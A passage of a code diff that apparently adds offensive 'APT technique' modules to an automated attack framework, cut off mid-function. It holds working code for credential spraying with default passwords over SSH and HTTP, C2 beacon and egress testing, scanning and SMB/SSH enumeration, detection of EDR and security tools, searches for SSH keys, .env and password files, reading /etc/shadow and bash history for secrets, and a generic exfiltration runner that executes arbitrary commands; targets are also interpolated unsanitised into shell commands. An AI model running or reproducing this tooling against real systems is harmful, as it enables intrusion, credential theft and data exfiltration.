name: 'Data Exfiltration',
|
|
1034
|
+
category: 'exfiltration',
|
|
1035
|
+
phase: 'actions-on-objectives',
|
|
1036
|
+
prerequisites: [],
|
|
1037
|
+
conflictsWith: [],
|
|
1038
|
+
stealthRating: 0.3,
|
|
1039
|
+
successBaseline: 0.7,
|
|
1040
|
+
timeEstimate: 30000,
|
|
1041
|
+
execute: async (params) => {
|
|
1042
|
+
const start = Date.now();
|
|
1043
|
+
const artifacts = [];
|
|
1044
|
+
const ctx = params.context || {};
|
|
1045
|
+
const command = ctx['command'];
|
|
1046
|
+
const data = ctx['data'];
|
|
1047
|
+
if (command) {
|
|
1048
|
+
try {
|
|
1049
|
+
const { stdout } = await execAsync(command, { timeout: params.timeout || 30000 });
|
|
1050
|
+
artifacts.push({ type: 'exfil_result', data: stdout.slice(0, 500) });
|
|
1051
|
+
return { success: true, output: { exfiltrated: true, bytes: stdout.length }, artifacts, nextTechniques: [], detectionRisk: 0.95, duration: Date.now() - start };
|
|
1052
|
+
}
|
|
1053
|
+
catch (e) {
|
|
1054
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.9, duration: Date.now() - start };
|
|
1055
|
+
}
|
|
1056
|
+
}
|
|
1057
|
+
if (data) {
|
|
1058
|
+
artifacts.push({ type: 'data_staged', data: `${data.length} bytes ready` });
|
|
1059
|
+
return { success: true, output: { staged: true, size: data.length }, artifacts, nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
|
|
1060
|
+
}
|
|
1061
|
+
return { success: false, output: { error: 'No exfiltration command or data specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
|
|
1062
|
+
},
|
|
1063
|
+
});
|
|
1064
|
+
}
|
|
1065
|
+
// Extended APT Technique Registration
|
|
1066
|
+
function registerExtendedTechniques() {
|
|
1067
|
+
// WHOIS/ASN Reconnaissance - Real queries
|
|
1068
|
+
techniqueRegistry.register({
|
|
1069
|
+
id: 'whois_recon',
|
|
1070
|
+
name: 'WHOIS Reconnaissance',
|
|
1071
|
+
category: 'recon',
|
|
1072
|
+
phase: 'reconnaissance',
|
|
1073
|
+
prerequisites: [],
|
|
1074
|
+
conflictsWith: [],
|
|
1075
|
+
stealthRating: 0.95,
|
|
1076
|
+
successBaseline: 0.9,
|
|
1077
|
+
timeEstimate: 10000,
|
|
1078
|
+
execute: async (params) => {
|
|
1079
|
+
const start = Date.now();
|
|
1080
|
+
const target = params.target;
|
|
1081
|
+
const artifacts = [];
|
|
1082
|
+
try {
|
|
1083
|
+
const { stdout } = await execAsync(`whois ${target} 2>/dev/null | head -50`, { timeout: params.timeout || 10000 });
|
|
1084
|
+
const lines = stdout.split('\n').filter(l => l.trim() && !l.startsWith('%') && !l.startsWith('#'));
|
|
1085
|
+
for (const line of lines.slice(0, 15)) {
|
|
1086
|
+
const [key, ...val] = line.split(':');
|
|
1087
|
+
if (key && val.length > 0)
|
|
1088
|
+
artifacts.push({ type: 'whois', data: `${key.trim()}: ${val.join(':').trim()}` });
|
|
1089
|
+
}
|
|
1090
|
+
return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'asn_lookup'], detectionRisk: 0.05, duration: Date.now() - start };
|
|
1091
|
+
}
|
|
1092
|
+
catch (e) {
|
|
1093
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: ['dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
|
|
1094
|
+
}
|
|
1095
|
+
},
|
|
1096
|
+
});
|
|
1097
|
+
// ASN Lookup - Real BGP data
|
|
1098
|
+
techniqueRegistry.register({
|
|
1099
|
+
id: 'asn_lookup',
|
|
1100
|
+
name: 'ASN Lookup',
|
|
1101
|
+
category: 'recon',
|
|
1102
|
+
phase: 'reconnaissance',
|
|
1103
|
+
prerequisites: [],
|
|
1104
|
+
conflictsWith: [],
|
|
1105
|
+
stealthRating: 0.95,
|
|
1106
|
+
successBaseline: 0.85,
|
|
1107
|
+
timeEstimate: 8000,
|
|
1108
|
+
execute: async (params) => {
|
|
1109
|
+
const start = Date.now();
|
|
1110
|
+
const target = params.target;
|
|
1111
|
+
const artifacts = [];
|
|
1112
|
+
try {
|
|
1113
|
+
// Resolve IP first
|
|
1114
|
+
const ips = await dns.resolve4(target).catch(() => [target]);
|
|
1115
|
+
const ip = ips[0] || target;
|
|
1116
|
+
// Query Team Cymru ASN service
|
|
1117
|
+
const reversed = ip.split('.').reverse().join('.');
|
|
1118
|
+
try {
|
|
1119
|
+
const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
|
|
1120
|
+
if (txt[0])
|
|
1121
|
+
artifacts.push({ type: 'asn', data: txt[0].join(' ') });
|
|
1122
|
+
}
|
|
1123
|
+
catch { /* ignore */ }
|
|
1124
|
+
// Also try dig for more info
|
|
1125
|
+
try {
|
|
1126
|
+
const { stdout } = await execAsync(`dig +short TXT ${reversed}.peer.asn.cymru.com 2>/dev/null`, { timeout: 5000 });
|
|
1127
|
+
if (stdout.trim())
|
|
1128
|
+
artifacts.push({ type: 'asn_peer', data: stdout.trim().replace(/"/g, '') });
|
|
1129
|
+
}
|
|
1130
|
+
catch { /* ignore */ }
|
|
1131
|
+
return { success: artifacts.length > 0, output: { target, ip, asn_records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'port_scan'], detectionRisk: 0.03, duration: Date.now() - start };
|
|
1132
|
+
}
|
|
1133
|
+
catch (e) {
|
|
1134
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.02, duration: Date.now() - start };
|
|
1135
|
+
}
|
|
1136
|
+
},
|
|
1137
|
+
});
|
|
1138
|
+
// SSL/TLS Analysis - Real certificate inspection
|
|
1139
|
+
techniqueRegistry.register({
|
|
1140
|
+
id: 'ssl_analysis',
|
|
1141
|
+
name: 'SSL/TLS Analysis',
|
|
1142
|
+
category: 'recon',
|
|
1143
|
+
phase: 'reconnaissance',
|
|
1144
|
+
prerequisites: [],
|
|
1145
|
+
conflictsWith: [],
|
|
1146
|
+
stealthRating: 0.9,
|
|
1147
|
+
successBaseline: 0.85,
|
|
1148
|
+
timeEstimate: 15000,
|
|
1149
|
+
execute: async (params) => {
|
|
1150
|
+
const start = Date.now();
|
|
1151
|
+
const target = params.target;
|
|
1152
|
+
const artifacts = [];
|
|
1153
|
+
try {
|
|
1154
|
+
const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} 2>/dev/null | openssl x509 -noout -text 2>/dev/null | head -40`, { timeout: params.timeout || 15000 });
|
|
1155
|
+
const lines = stdout.split('\n');
|
|
1156
|
+
for (const line of lines) {
|
|
1157
|
+
if (line.includes('Subject:'))
|
|
1158
|
+
artifacts.push({ type: 'cert_subject', data: line.trim() });
|
|
1159
|
+
if (line.includes('Issuer:'))
|
|
1160
|
+
artifacts.push({ type: 'cert_issuer', data: line.trim() });
|
|
1161
|
+
if (line.includes('Not Before:'))
|
|
1162
|
+
artifacts.push({ type: 'cert_valid_from', data: line.trim() });
|
|
1163
|
+
if (line.includes('Not After:'))
|
|
1164
|
+
artifacts.push({ type: 'cert_valid_to', data: line.trim() });
|
|
1165
|
+
if (line.includes('DNS:'))
|
|
1166
|
+
artifacts.push({ type: 'cert_san', data: line.trim() });
|
|
1167
|
+
}
|
|
1168
|
+
// Check cipher strength
|
|
1169
|
+
try {
|
|
1170
|
+
const { stdout: ciphers } = await execAsync(`echo | openssl s_client -connect ${target}:443 2>/dev/null | grep -i cipher`, { timeout: 5000 });
|
|
1171
|
+
if (ciphers.trim())
|
|
1172
|
+
artifacts.push({ type: 'cipher', data: ciphers.trim() });
|
|
1173
|
+
}
|
|
1174
|
+
catch { /* ignore */ }
|
|
1175
|
+
return { success: artifacts.length > 0, output: { target, cert_data: artifacts.length }, artifacts, nextTechniques: ['web_fingerprint', 'subdomain_enum'], detectionRisk: 0.1, duration: Date.now() - start };
|
|
1176
|
+
}
|
|
1177
|
+
catch (e) {
|
|
1178
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
|
|
1179
|
+
}
|
|
1180
|
+
},
|
|
1181
|
+
});
|
|
1182
|
+
// Full Port Scan - Real comprehensive scan
|
|
1183
|
+
techniqueRegistry.register({
|
|
1184
|
+
id: 'full_port_scan',
|
|
1185
|
+
name: 'Full Port Scan',
|
|
1186
|
+
category: 'scanning',
|
|
1187
|
+
phase: 'weaponization',
|
|
1188
|
+
prerequisites: [],
|
|
1189
|
+
conflictsWith: ['port_scan'],
|
|
1190
|
+
stealthRating: 0.2,
|
|
1191
|
+
successBaseline: 0.95,
|
|
1192
|
+
timeEstimate: 120000,
|
|
1193
|
+
execute: async (params) => {
|
|
1194
|
+
const start = Date.now();
|
|
1195
|
+
const target = params.target;
|
|
1196
|
+
const timeout = Math.min(params.timeout || 1500, 2000);
|
|
1197
|
+
// Scan top 100 ports
|
|
1198
|
+
const ports = [20, 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5432, 5900, 5901, 6379, 8080, 8443, 8888, 9000, 9090, 27017];
|
|
1199
|
+
const artifacts = [];
|
|
1200
|
+
const openPorts = [];
|
|
1201
|
+
// Scan in parallel batches
|
|
1202
|
+
const batchSize = 10;
|
|
1203
|
+
for (let i = 0; i < ports.length; i += batchSize) {
|
|
1204
|
+
const batch = ports.slice(i, i + batchSize);
|
|
1205
|
+
const results = await Promise.all(batch.map(port => tcpConnect(target, port, timeout)));
|
|
1206
|
+
results.forEach((result, idx) => {
|
|
1207
|
+
if (result.open) {
|
|
1208
|
+
const port = batch[idx];
|
|
1209
|
+
openPorts.push(port);
|
|
1210
|
+
artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
|
|
1211
|
+
}
|
|
1212
|
+
});
|
|
1213
|
+
}
|
|
1214
|
+
return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: 0.7, duration: Date.now() - start };
|
|
1215
|
+
},
|
|
1216
|
+
});
|
|
1217
|
+
// SSH Enumeration - Real SSH probing
|
|
1218
|
+
techniqueRegistry.register({
|
|
1219
|
+
id: 'ssh_enum',
|
|
1220
|
+
name: 'SSH Enumeration',
|
|
1221
|
+
category: 'enumeration',
|
|
1222
|
+
phase: 'weaponization',
|
|
1223
|
+
prerequisites: [],
|
|
1224
|
+
conflictsWith: [],
|
|
1225
|
+
stealthRating: 0.6,
|
|
1226
|
+
successBaseline: 0.8,
|
|
1227
|
+
timeEstimate: 20000,
|
|
1228
|
+
execute: async (params) => {
|
|
1229
|
+
const start = Date.now();
|
|
1230
|
+
const target = params.target;
|
|
1231
|
+
const artifacts = [];
|
|
1232
|
+
// Grab SSH banner
|
|
1233
|
+
const result = await tcpConnect(target, 22, params.timeout || 5000);
|
|
1234
|
+
if (result.open) {
|
|
1235
|
+
artifacts.push({ type: 'ssh_port', data: 'open' });
|
|
1236
|
+
if (result.banner) {
|
|
1237
|
+
artifacts.push({ type: 'ssh_banner', data: result.banner });
|
|
1238
|
+
// Parse version info
|
|
1239
|
+
const match = result.banner.match(/SSH-(\d+\.\d+)-(.+)/);
|
|
1240
|
+
if (match) {
|
|
1241
|
+
artifacts.push({ type: 'ssh_version', data: match[1] });
|
|
1242
|
+
artifacts.push({ type: 'ssh_software', data: match[2] });
|
|
1243
|
+
}
|
|
1244
|
+
}
|
|
1245
|
+
// Try to get supported algorithms
|
|
1246
|
+
try {
|
|
1247
|
+
const { stdout } = await execAsync(`ssh -o BatchMode=yes -o ConnectTimeout=5 -o StrictHostKeyChecking=no -v ${target} 2>&1 | grep -E "(kex|cipher|mac)" | head -10`, { timeout: 10000 });
|
|
1248
|
+
if (stdout.trim()) {
|
|
1249
|
+
stdout.split('\n').slice(0, 5).forEach(line => {
|
|
1250
|
+
artifacts.push({ type: 'ssh_algo', data: line.trim() });
|
|
1251
|
+
});
|
|
1252
|
+
}
|
|
1253
|
+
}
|
|
1254
|
+
catch { /* ignore */ }
|
|
1255
|
+
}
|
|
1256
|
+
return { success: artifacts.length > 0, output: { target, ssh_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.4, duration: Date.now() - start };
|
|
1257
|
+
},
|
|
1258
|
+
});
|
|
1259
|
+
// SMB Enumeration - Real SMB probing
|
|
1260
|
+
techniqueRegistry.register({
|
|
1261
|
+
id: 'smb_enum',
|
|
1262
|
+
name: 'SMB Enumeration',
|
|
1263
|
+
category: 'enumeration',
|
|
1264
|
+
phase: 'weaponization',
|
|
1265
|
+
prerequisites: [],
|
|
1266
|
+
conflictsWith: [],
|
|
1267
|
+
stealthRating: 0.5,
|
|
1268
|
+
successBaseline: 0.7,
|
|
1269
|
+
timeEstimate: 30000,
|
|
1270
|
+
execute: async (params) => {
|
|
1271
|
+
const start = Date.now();
|
|
1272
|
+
const target = params.target;
|
|
1273
|
+
const artifacts = [];
|
|
1274
|
+
// Check SMB ports
|
|
1275
|
+
for (const port of [445, 139]) {
|
|
1276
|
+
const result = await tcpConnect(target, port, params.timeout || 3000);
|
|
1277
|
+
if (result.open)
|
|
1278
|
+
artifacts.push({ type: 'smb_port', data: `${port} open` });
|
|
1279
|
+
}
|
|
1280
|
+
// Try smbclient if available
|
|
1281
|
+
try {
|
|
1282
|
+
const { stdout } = await execAsync(`smbclient -L //${target} -N 2>/dev/null | head -20`, { timeout: 15000 });
|
|
1283
|
+
if (stdout.trim()) {
|
|
1284
|
+
stdout.split('\n').filter(l => l.trim()).slice(0, 10).forEach(line => {
|
|
1285
|
+
artifacts.push({ type: 'smb_share', data: line.trim() });
|
|
1286
|
+
});
|
|
1287
|
+
}
|
|
1288
|
+
}
|
|
1289
|
+
catch { /* smbclient not available or failed */ }
|
|
1290
|
+
// Try enum4linux if available
|
|
1291
|
+
try {
|
|
1292
|
+
const { stdout } = await execAsync(`enum4linux -a ${target} 2>/dev/null | head -30`, { timeout: 30000 });
|
|
1293
|
+
if (stdout.trim()) {
|
|
1294
|
+
const interesting = stdout.split('\n').filter(l => l.includes('Domain') || l.includes('User') || l.includes('Share'));
|
|
1295
|
+
interesting.slice(0, 10).forEach(line => {
|
|
1296
|
+
artifacts.push({ type: 'smb_info', data: line.trim() });
|
|
1297
|
+
});
|
|
1298
|
+
}
|
|
1299
|
+
}
|
|
1300
|
+
catch { /* enum4linux not available */ }
|
|
1301
|
+
return { success: artifacts.length > 0, output: { target, smb_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.5, duration: Date.now() - start };
|
|
1302
|
+
},
|
|
1303
|
+
});
|
|
1304
|
+
// Credential Spraying - Real authentication testing
|
|
1305
|
+
techniqueRegistry.register({
|
|
1306
|
+
id: 'credential_spray',
|
|
1307
|
+
name: 'Credential Spray',
|
|
1308
|
+
category: 'exploitation',
|
|
1309
|
+
phase: 'delivery',
|
|
1310
|
+
prerequisites: [],
|
|
1311
|
+
conflictsWith: [],
|
|
1312
|
+
stealthRating: 0.3,
|
|
1313
|
+
successBaseline: 0.3,
|
|
1314
|
+
timeEstimate: 60000,
|
|
1315
|
+
execute: async (params) => {
|
|
1316
|
+
const start = Date.now();
|
|
1317
|
+
const target = params.target;
|
|
1318
|
+
const artifacts = [];
|
|
1319
|
+
const ctx = params.context || {};
|
|
1320
|
+
const users = ctx['users'] || ['admin', 'root', 'administrator', 'user', 'test'];
|
|
1321
|
+
const passwords = ctx['passwords'] || ['password', 'admin', '123456', 'Password1'];
|
|
1322
|
+
// Try SSH with timeout (fail fast for security)
|
|
1323
|
+
for (const user of users.slice(0, 3)) {
|
|
1324
|
+
for (const pass of passwords.slice(0, 2)) {
|
|
1325
|
+
try {
|
|
1326
|
+
const { stdout } = await execAsync(`sshpass -p '${pass}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o BatchMode=no ${user}@${target} 'echo SUCCESS' 2>/dev/null`, { timeout: 5000 });
|
|
1327
|
+
if (stdout.includes('SUCCESS')) {
|
|
1328
|
+
artifacts.push({ type: 'valid_cred', data: `SSH ${user}:${pass.slice(0, 2)}***` });
|
|
1329
|
+
}
|
|
1330
|
+
}
|
|
1331
|
+
catch { /* expected failures */ }
|
|
1332
|
+
}
|
|
1333
|
+
}
|
|
1334
|
+
// Try HTTP basic auth
|
|
1335
|
+
const url = target.startsWith('http') ? target : `https://${target}`;
|
|
1336
|
+
for (const user of users.slice(0, 2)) {
|
|
1337
|
+
for (const pass of passwords.slice(0, 2)) {
|
|
1338
|
+
try {
|
|
1339
|
+
const auth = Buffer.from(`${user}:${pass}`).toString('base64');
|
|
1340
|
+
const { stdout } = await execAsync(`curl -s -o /dev/null -w '%{http_code}' -H 'Authorization: Basic ${auth}' '${url}' --connect-timeout 3`, { timeout: 5000 });
|
|
1341
|
+
if (stdout !== '401' && stdout !== '403') {
|
|
1342
|
+
artifacts.push({ type: 'http_auth', data: `${user}:*** -> HTTP ${stdout}` });
|
|
1343
|
+
}
|
|
1344
|
+
}
|
|
1345
|
+
catch { /* ignore */ }
|
|
1346
|
+
}
|
|
1347
|
+
}
|
|
1348
|
+
return { success: artifacts.length > 0, output: { target, tested: users.length * passwords.length, found: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt', 'privesc'] : [], detectionRisk: 0.8, duration: Date.now() - start };
|
|
1349
|
+
},
|
|
1350
|
+
});
|
|
1351
|
+
// C2 Beacon - Real outbound connection test
|
|
1352
|
+
techniqueRegistry.register({
|
|
1353
|
+
id: 'c2_beacon',
|
|
1354
|
+
name: 'C2 Beacon',
|
|
1355
|
+
category: 'post-exploitation',
|
|
1356
|
+
phase: 'command-control',
|
|
1357
|
+
prerequisites: [],
|
|
1358
|
+
conflictsWith: [],
|
|
1359
|
+
stealthRating: 0.4,
|
|
1360
|
+
successBaseline: 0.6,
|
|
1361
|
+
timeEstimate: 15000,
|
|
1362
|
+
execute: async (params) => {
|
|
1363
|
+
const start = Date.now();
|
|
1364
|
+
const artifacts = [];
|
|
1365
|
+
const ctx = params.context || {};
|
|
1366
|
+
const c2Server = ctx['c2_server'];
|
|
1367
|
+
const c2Port = ctx['c2_port'] || 443;
|
|
1368
|
+
if (c2Server) {
|
|
1369
|
+
// Test outbound connection
|
|
1370
|
+
const result = await tcpConnect(c2Server, c2Port, params.timeout || 10000);
|
|
1371
|
+
if (result.open) {
|
|
1372
|
+
artifacts.push({ type: 'c2_connection', data: `${c2Server}:${c2Port} reachable (${result.latency}ms)` });
|
|
1373
|
+
// Test DNS exfil capability
|
|
1374
|
+
try {
|
|
1375
|
+
const testDomain = `test.${c2Server}`;
|
|
1376
|
+
await dns.resolve4(testDomain);
|
|
1377
|
+
artifacts.push({ type: 'dns_exfil', data: 'DNS resolution to C2 domain working' });
|
|
1378
|
+
}
|
|
1379
|
+
catch { /* expected */ }
|
|
1380
|
+
// Test HTTP/HTTPS
|
|
1381
|
+
try {
|
|
1382
|
+
const probe = await httpProbe(`https://${c2Server}:${c2Port}`, 5000);
|
|
1383
|
+
artifacts.push({ type: 'c2_https', data: `HTTPS status ${probe.status}` });
|
|
1384
|
+
}
|
|
1385
|
+
catch {
|
|
1386
|
+
try {
|
|
1387
|
+
const probe = await httpProbe(`http://${c2Server}:${c2Port}`, 5000);
|
|
1388
|
+
artifacts.push({ type: 'c2_http', data: `HTTP status ${probe.status}` });
|
|
1389
|
+
}
|
|
1390
|
+
catch { /* ignore */ }
|
|
1391
|
+
}
|
|
1392
|
+
}
|
|
1393
|
+
return { success: artifacts.length > 0, output: { c2: c2Server, connected: result.open }, artifacts, nextTechniques: ['exfil', 'lateral_move'], detectionRisk: 0.7, duration: Date.now() - start };
|
|
1394
|
+
}
|
|
1395
|
+
// No C2 specified - test common egress
|
|
1396
|
+
for (const port of [80, 443, 8080, 8443]) {
|
|
1397
|
+
const result = await tcpConnect('1.1.1.1', port, 3000);
|
|
1398
|
+
if (result.open)
|
|
1399
|
+
artifacts.push({ type: 'egress', data: `Port ${port} egress open` });
|
|
1400
|
+
}
|
|
1401
|
+
return { success: artifacts.length > 0, output: { egress_tested: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.3, duration: Date.now() - start };
|
|
1402
|
+
},
|
|
1403
|
+
});
|
|
1404
|
+
// Network Discovery - Real ARP/route enumeration
|
|
1405
|
+
techniqueRegistry.register({
|
|
1406
|
+
id: 'network_discovery',
|
|
1407
|
+
name: 'Network Discovery',
|
|
1408
|
+
category: 'post-exploitation',
|
|
1409
|
+
phase: 'command-control',
|
|
1410
|
+
prerequisites: [],
|
|
1411
|
+
conflictsWith: [],
|
|
1412
|
+
stealthRating: 0.5,
|
|
1413
|
+
successBaseline: 0.85,
|
|
1414
|
+
timeEstimate: 30000,
|
|
1415
|
+
execute: async (params) => {
|
|
1416
|
+
const start = Date.now();
|
|
1417
|
+
const artifacts = [];
|
|
1418
|
+
// Get local network info
|
|
1419
|
+
try {
|
|
1420
|
+
const { stdout } = await execAsync('hostname 2>/dev/null', { timeout: 3000 });
|
|
1421
|
+
if (stdout.trim())
|
|
1422
|
+
artifacts.push({ type: 'hostname', data: stdout.trim() });
|
|
1423
|
+
}
|
|
1424
|
+
catch { /* ignore */ }
|
|
1425
|
+
try {
|
|
1426
|
+
const { stdout } = await execAsync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 5000 });
|
|
1427
|
+
const ips = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
|
|
1428
|
+
if (ips)
|
|
1429
|
+
artifacts.push({ type: 'local_ips', data: [...new Set(ips)].join(', ') });
|
|
1430
|
+
}
|
|
1431
|
+
catch { /* ignore */ }
|
|
1432
|
+
try {
|
|
1433
|
+
const { stdout } = await execAsync('ip route 2>/dev/null || netstat -rn 2>/dev/null', { timeout: 5000 });
|
|
1434
|
+
const lines = stdout.split('\n').filter(l => l.trim()).slice(0, 5);
|
|
1435
|
+
lines.forEach(l => artifacts.push({ type: 'route', data: l.trim() }));
|
|
1436
|
+
}
|
|
1437
|
+
catch { /* ignore */ }
|
|
1438
|
+
try {
|
|
1439
|
+
const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
|
|
1440
|
+
const hosts = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
|
|
1441
|
+
if (hosts)
|
|
1442
|
+
artifacts.push({ type: 'arp_hosts', data: [...new Set(hosts)].slice(0, 10).join(', ') });
|
|
1443
|
+
}
|
|
1444
|
+
catch { /* ignore */ }
|
|
1445
|
+
try {
|
|
1446
|
+
const { stdout } = await execAsync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 });
|
|
1447
|
+
const ns = stdout.match(/nameserver\s+(\d+\.\d+\.\d+\.\d+)/g);
|
|
1448
|
+
if (ns)
|
|
1449
|
+
artifacts.push({ type: 'dns_servers', data: ns.join(', ') });
|
|
1450
|
+
}
|
|
1451
|
+
catch { /* ignore */ }
|
|
1452
|
+
return { success: artifacts.length > 0, output: { discovered: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'port_scan'], detectionRisk: 0.4, duration: Date.now() - start };
|
|
1453
|
+
},
|
|
1454
|
+
});
|
|
1455
|
+
// Process Enumeration - Real process listing
|
|
1456
|
+
techniqueRegistry.register({
|
|
1457
|
+
id: 'process_enum',
|
|
1458
|
+
name: 'Process Enumeration',
|
|
1459
|
+
category: 'post-exploitation',
|
|
1460
|
+
phase: 'installation',
|
|
1461
|
+
prerequisites: [],
|
|
1462
|
+
conflictsWith: [],
|
|
1463
|
+
stealthRating: 0.7,
|
|
1464
|
+
successBaseline: 0.95,
|
|
1465
|
+
timeEstimate: 10000,
|
|
1466
|
+
execute: async (params) => {
|
|
1467
|
+
const start = Date.now();
|
|
1468
|
+
const artifacts = [];
|
|
1469
|
+
try {
|
|
1470
|
+
const { stdout } = await execAsync('ps aux 2>/dev/null | head -30', { timeout: params.timeout || 10000 });
|
|
1471
|
+
const lines = stdout.split('\n').filter(l => l.trim());
|
|
1472
|
+
// Find interesting processes
|
|
1473
|
+
const interesting = lines.filter(l => /root|admin|www|nginx|apache|mysql|postgres|docker|ssh|systemd/.test(l));
|
|
1474
|
+
interesting.slice(0, 15).forEach(l => artifacts.push({ type: 'process', data: l.slice(0, 150) }));
|
|
1475
|
+
// Also check for security tools
|
|
1476
|
+
const security = lines.filter(l => /falcon|crowdstrike|defender|symantec|mcafee|sophos|kaspersky|edr|siem|splunk/i.test(l));
|
|
1477
|
+
security.forEach(l => artifacts.push({ type: 'security_tool', data: l.slice(0, 100) }));
|
|
1478
|
+
}
|
|
1479
|
+
catch (e) {
|
|
1480
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.3, duration: Date.now() - start };
|
|
1481
|
+
}
|
|
1482
|
+
return { success: artifacts.length > 0, output: { processes: artifacts.length }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.3, duration: Date.now() - start };
|
|
1483
|
+
},
|
|
1484
|
+
});
|
|
1485
|
+
// File Discovery - Real file system enumeration
|
|
1486
|
+
techniqueRegistry.register({
|
|
1487
|
+
id: 'file_discovery',
|
|
1488
|
+
name: 'File Discovery',
|
|
1489
|
+
category: 'post-exploitation',
|
|
1490
|
+
phase: 'actions-on-objectives',
|
|
1491
|
+
prerequisites: [],
|
|
1492
|
+
conflictsWith: [],
|
|
1493
|
+
stealthRating: 0.6,
|
|
1494
|
+
successBaseline: 0.9,
|
|
1495
|
+
timeEstimate: 45000,
|
|
1496
|
+
execute: async (params) => {
|
|
1497
|
+
const start = Date.now();
|
|
1498
|
+
const artifacts = [];
|
|
1499
|
+
const depth = params.depth;
|
|
1500
|
+
// Find sensitive files
|
|
1501
|
+
const patterns = depth === 'quick'
|
|
1502
|
+
? ['*.conf', '*.key', '*.pem', '.env']
|
|
1503
|
+
: ['*.conf', '*.key', '*.pem', '*.crt', '.env', '*.bak', '*.sql', 'id_rsa', '*.json', '*.xml'];
|
|
1504
|
+
for (const pattern of patterns.slice(0, depth === 'deep' ? patterns.length : 5)) {
|
|
1505
|
+
try {
|
|
1506
|
+
const { stdout } = await execAsync(`find /etc /home /var /opt -name '${pattern}' -type f 2>/dev/null | head -10`, { timeout: 15000 });
|
|
1507
|
+
stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'sensitive_file', data: f.trim() }));
|
|
1508
|
+
}
|
|
1509
|
+
catch { /* ignore */ }
|
|
1510
|
+
}
|
|
1511
|
+
// Check for SSH keys
|
|
1512
|
+
try {
|
|
1513
|
+
const { stdout } = await execAsync('find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null', { timeout: 10000 });
|
|
1514
|
+
stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'ssh_key', data: f.trim() }));
|
|
1515
|
+
}
|
|
1516
|
+
catch { /* ignore */ }
|
|
1517
|
+
// Check for password files
|
|
1518
|
+
try {
|
|
1519
|
+
const { stdout } = await execAsync('find / -name "*password*" -type f 2>/dev/null | head -10', { timeout: 15000 });
|
|
1520
|
+
stdout.split('\n').filter(l => l.trim()).slice(0, 5).forEach(f => artifacts.push({ type: 'password_file', data: f.trim() }));
|
|
1521
|
+
}
|
|
1522
|
+
catch { /* ignore */ }
|
|
1523
|
+
return { success: artifacts.length > 0, output: { files_found: artifacts.length }, artifacts, nextTechniques: ['exfil', 'credential_harvest'], detectionRisk: 0.5, duration: Date.now() - start };
|
|
1524
|
+
},
|
|
1525
|
+
});
|
|
1526
|
+
// Credential Harvesting - Real credential extraction
|
|
1527
|
+
techniqueRegistry.register({
|
|
1528
|
+
id: 'credential_harvest',
|
|
1529
|
+
name: 'Credential Harvesting',
|
|
1530
|
+
category: 'post-exploitation',
|
|
1531
|
+
phase: 'actions-on-objectives',
|
|
1532
|
+
prerequisites: [],
|
|
1533
|
+
conflictsWith: [],
|
|
1534
|
+
stealthRating: 0.3,
|
|
1535
|
+
successBaseline: 0.6,
|
|
1536
|
+
timeEstimate: 30000,
|
|
1537
|
+
execute: async (params) => {
|
|
1538
|
+
const start = Date.now();
|
|
1539
|
+
const artifacts = [];
|
|
1540
|
+
// Check shadow file (needs root)
|
|
1541
|
+
try {
|
|
1542
|
+
const { stdout } = await execAsync('cat /etc/shadow 2>/dev/null | head -10', { timeout: 5000 });
|
|
1543
|
+
if (stdout.trim() && !stdout.includes('Permission denied')) {
|
|
1544
|
+
artifacts.push({ type: 'shadow_access', data: 'readable - hashes available' });
|
|
1545
|
+
const hashes = stdout.split('\n').filter(l => l.includes('$')).length;
|
|
1546
|
+
if (hashes > 0)
|
|
1547
|
+
artifacts.push({ type: 'hash_count', data: `${hashes} password hashes` });
|
|
1548
|
+
}
|
|
1549
|
+
}
|
|
1550
|
+
catch { /* no access */ }
|
|
1551
|
+
// Check for bash history
|
|
1552
|
+
try {
|
|
1553
|
+
const { stdout } = await execAsync('cat ~/.bash_history /root/.bash_history 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
|
|
1554
|
+
if (stdout.trim())
|
|
1555
|
+
artifacts.push({ type: 'history_secrets', data: `${stdout.split('\n').length} potential credentials in history` });
|
|
1556
|
+
}
|
|
1557
|
+
catch { /* ignore */ }
|
|
1558
|
+
// Check for env files
|
|
1559
|
+
try {
|
|
1560
|
+
